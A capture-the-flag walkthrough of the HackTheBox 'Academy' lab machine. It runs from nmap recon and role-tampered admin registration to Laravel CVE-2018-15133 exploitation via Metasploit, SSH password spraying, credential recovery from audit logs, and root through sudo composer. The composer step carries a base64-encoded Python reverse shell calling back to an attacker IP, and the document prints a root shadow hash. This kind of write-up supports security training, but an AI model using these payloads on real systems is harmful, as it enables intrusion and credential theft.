Recon
- Port scan:
$ nmap -p- 10.10.10.215 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 33060/tcp open mysqlx
- Targeted scan:
$ nmap -sC -sV -p 22,80,33060 10.10.10.215 > scan.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA) | 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA) |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://academy.htb/ 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port33060-TCP:V=7.91%I=7%D=12/13%Time=5FD5A260%P=x86_64-unknown-linux-g SF:nu%r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\ SF:0\x0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r( SF:HTTPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0 SF:\0\x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(D SF:NSVersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusReques SF:tTCP,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1 SF:a\x0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x SF:1a\0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x SF:08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServer SF:Cookie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0 SF:\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20mes SF:sage\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBPro SF:gNeg,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x0 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\ SF:x05HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDS SF:tring,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\ SF:x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20mess SF:age\"\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPO SF:ptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b SF:\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(N SF:CP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\ SF:x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x0 SF:5HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x SF:05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a SF:\0")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\ SF:x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20mess SF:age\"\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OpenSSH 8.2p1 Ubuntu 4ubuntu0.1, Apache httpd 2.4.41,
Enumeration
HTTP Enumeration
- In our targeted Nmap scan, port 80 reveals the virtual hostname as http://academy.htb, so let's add
10.10.10.215 academy.htb
to/etc/hosts
. - Website is an "academy" platform for HackTheBox, and seems to be a mirror of the real website at https://academy.hackthebox.eu/.
- Brute force directories with OWASP DirBuster and found an admin panel:
/academy/public/admin.php
- The admin panel contains a register function, let's send a request and intercept it with Burp Suite, then forward the request to the repeater to have a deeper look.
- Register POST request has a
roleid
field, which we can change to a1
to register as an admin:uid=samiko&password=samiko&confirm=samiko&roleid=1
- Login using the newly created admin account:
samiko:samiko
- Upon entering the admin panel, we see a list of pending or completed jobs regarding the deployment of the academy website:
- Pending job: "Fix issue with dev-staging-01.academy.htb"
- Done job: "Complete initial set of modules (cry0l1t3 / mrb3n)"
- Found possible usernames:
cry0l1t3, mrb3n
- Navigating to the staging server and we start to get redirect errors again. Append
dev-staging-01.academy.htb
to/etc/hosts
under the same IP entry. - Environmental variables are exposed on the staging server, found possibly hidden database credentials:
DB_HOST "127.0.0.1" DB_PORT "3306" DB_DATABASE "homestead" DB_USERNAME "homestead" DB_PASSWORD "secret"
- Found application name and key:
APP_NAME "Laravel" APP_ENV "local" APP_KEY "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
- We discover that the host is running on Laravel PHP framework, and the application key seems to be exposed for some reason.
Exploitation
- Laravel 5.5.40/5.6.x-5.6.29 is vulnerable to an RCE attack under CVE-2018-15133, which is caused by an insecure deserialisation call on an untrusted
X-XSRF-TOKEN
value. - This exploit is possible if the
APP_KEY
is known or exposed from a.env
file disclosure, which we have discovered earlier on the staging server. - Using Metasploit, let's look for an existing exploit:
$ msfconsole
> search laravel
0 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution
> use 0
- Using options:
> set RHOST 10.10.10.215
> set VHOST dev-staging-01.academy.htb
> set LHOST 10.10.14.53
- After running the exploit, we should get a shell as www-data:
> run
$ ls -la /home/
drwxr-xr-x 2 21y4d 21y4d 4096 Aug 10 00:34 21y4d drwxr-xr-x 2 ch4p ch4p 4096 Aug 10 00:34 ch4p drwxr-xr-x 6 cry0l1t3 cry0l1t3 4096 Dec 13 22:55 cry0l1t3 drwxr-xr-x 3 egre55 egre55 4096 Aug 10 23:41 egre55 drwxr-xr-x 2 g0blin g0blin 4096 Aug 10 00:34 g0blin drwxr-xr-x 5 mrb3n mrb3n 4096 Aug 12 22:19 mrb3n
- Get usernames and save them to a file:
$ echo "21y4d ch4p cry0l1t3 egre55 g0blin mrb3n" | tr -s ' ' '\n' > usernames.txt
- Out of all other users, cry0l1t3 has the latest modification date. We find a
linpeas.sh
script (which was not placed by other users) and the user flag:-rwxrwxr-x 1 cry0l1t3 cry0l1t3 297851 Nov 24 18:44 linpeas.sh -r--r----- 1 cry0l1t3 cry0l1t3 33 Dec 13 21:38 user.txt
- We find the
.env
file exposed ondev-staging-01.academy.htb
earlier, and this time the database password is not censored:$ cat /var/www/html/academy/.env
DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!!
- Found password
mySup3rP4s5w0rd!!
, checking if a user reused it for their SSH credentials:$ crackmapexec ssh 10.10.10.215 -u ./usernames.txt -p 'mySup3rP4s5w0rd!!'
SSH 10.10.10.215 22 10.10.10.215 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1 SSH 10.10.10.215 22 10.10.10.215 [-] 21y4d:mySup3rP4s5w0rd!! Authentication failed. SSH 10.10.10.215 22 10.10.10.215 [-] ch4p:mySup3rP4s5w0rd!! Authentication failed. SSH 10.10.10.215 22 10.10.10.215 [+] cry0l1t3:mySup3rP4s5w0rd!!
- Found SSH credentials:
cry0l1t3:mySup3rP4s5w0rd!!
- SSH in as cry0l1t3:
$ ssh [email protected]
- Get user flag!
Privilege Escalation
- Checking sudo permissions:
$ sudo -l
Cannot run sudo.
- Checking group permissions:
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
- Since cry0l1t3 is in
4(adm)
admin group, this means we should be able to read syslog. While reading the log files, we discover some hexadecimal data in/var/log/audit
:$ cd /var/log/audit && cat * | grep data= | rev | cut -d= -f1 | rev
7375206D7262336E0A 6D7262336E5F41634064336D79210A 77686F616D690A 657869740A 2F62696E2F62617368202D690A 1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D 1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D 3618790D 63611B5B411B5B411B5B417F7F636174206175097C206772657020646174613D0D636174206175097C20637574202D663131202D642220220D1B5B411B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B431B5B436772657020646174613D207C200D1B5B41203E202F746D702F646174612E7478740D69640D6364202F746D700D6C730D6E616E6F2064090D636174206409207C207878092D72202D700D6D617F7F7F6E616E6F2064090D6361742064617409207C20787864202D7220700D1B5B411B5B442D0D636174202F7661722F6C6F672F61750974097F7F7F7F7F7F6409617564097C206772657020646174613D0D1B5B411B5B411B5B411B5B411B5B411B5B420D1B5B411B5B411B5B410D1B5B411B5B411B5B410D657869747F7F7F7F686973746F72790D657869740D 657869740A 2F62696E2F62617368202D690A 6973746F72790D686973746F72790D657869740D 657869740A
- We can convert the hexadecimal data to ASCII with
xxd
:$ cd /var/log/audit && cat * | grep data= | rev | cut -d= -f1 | rev | xxd -p -r
exithistory su mrb3n mrb3n_Ac@d3my! whoami exit /bin/bash -i
- Found credentials in the audit log file:
mrb3n:mrb3n_Ac@d3my
- SSH in as mrb3n:
$ ssh [email protected]
- Checking sudo permissions:
$ sudo -l
Matching Defaults entries for mrb3n on academy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mrb3n may run the following commands on academy: (ALL) /usr/bin/composer
- mrb3n can run dependency manager
/usr/bin/composer
as root, which is a possible vector for privilege escalation if we can get Composer to execute arbitrary scripts. - Using the following Python reverse shell:
import socket, subprocess; s = socket.socket(); s.connect(('10.10.14.53',6969)) while 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); s.send(proc.stdout.read()+proc.stderr.read())
- Encode the payload to base64:
aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjEwLjE0LjUzJyw2OTY5KSkKd2hpbGUgMTogIHByb2MgPSBzdWJwcm9jZXNzLlBvcGVuKHMucmVjdigxMDI0KSwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgc3RkaW49c3VicHJvY2Vzcy5QSVBFKTtzLnNlbmQocHJvYy5zdGRvdXQucmVhZCgpK3Byb2Muc3RkZXJyLnJlYWQoKSk=
- Write to
composer.json
the following:{ "scripts": { "pwn": "python3 -c \"import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjEwLjE0LjUzJyw2OTY5KSkKd2hpbGUgMTogIHByb2MgPSBzdWJwcm9jZXNzLlBvcGVuKHMucmVjdigxMDI0KSwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgc3RkaW49c3VicHJvY2Vzcy5QSVBFKTtzLnNlbmQocHJvYy5zdGRvdXQucmVhZCgpK3Byb2Muc3RkZXJyLnJlYWQoKSk='))\"" } }
- Before running the script, setup a listener for the reverse shell:
$ nc -lvnp 6969
- Execute script with composer:
$ sudo composer run-script --timeout=0 pwn
- After a few seconds, we should get a reverse shell as root:
$ whoami && id
root uid=0(root) gid=0(root) groups=0(root)
- Get root flag!
Persistence
- Get root hash from the
/etc/shadow
file:root:$6$Haots4JVo2R7o2wP$XxlDAw9FgIGHZapROvxiKByJrGiZT0KHkoB9mLC4npT9wDOFsO3p9ad0ScF3tCKT.hk7uweN7KDK4EcmBEKv./:18481:0:99999:7:::
.env
file exposure on Laravel 5.5.21 (CVE-2017-16894) means we could have just read the database credentials directly from http://10.10.10.215/academy/.env, skipping the need for a www-data shell.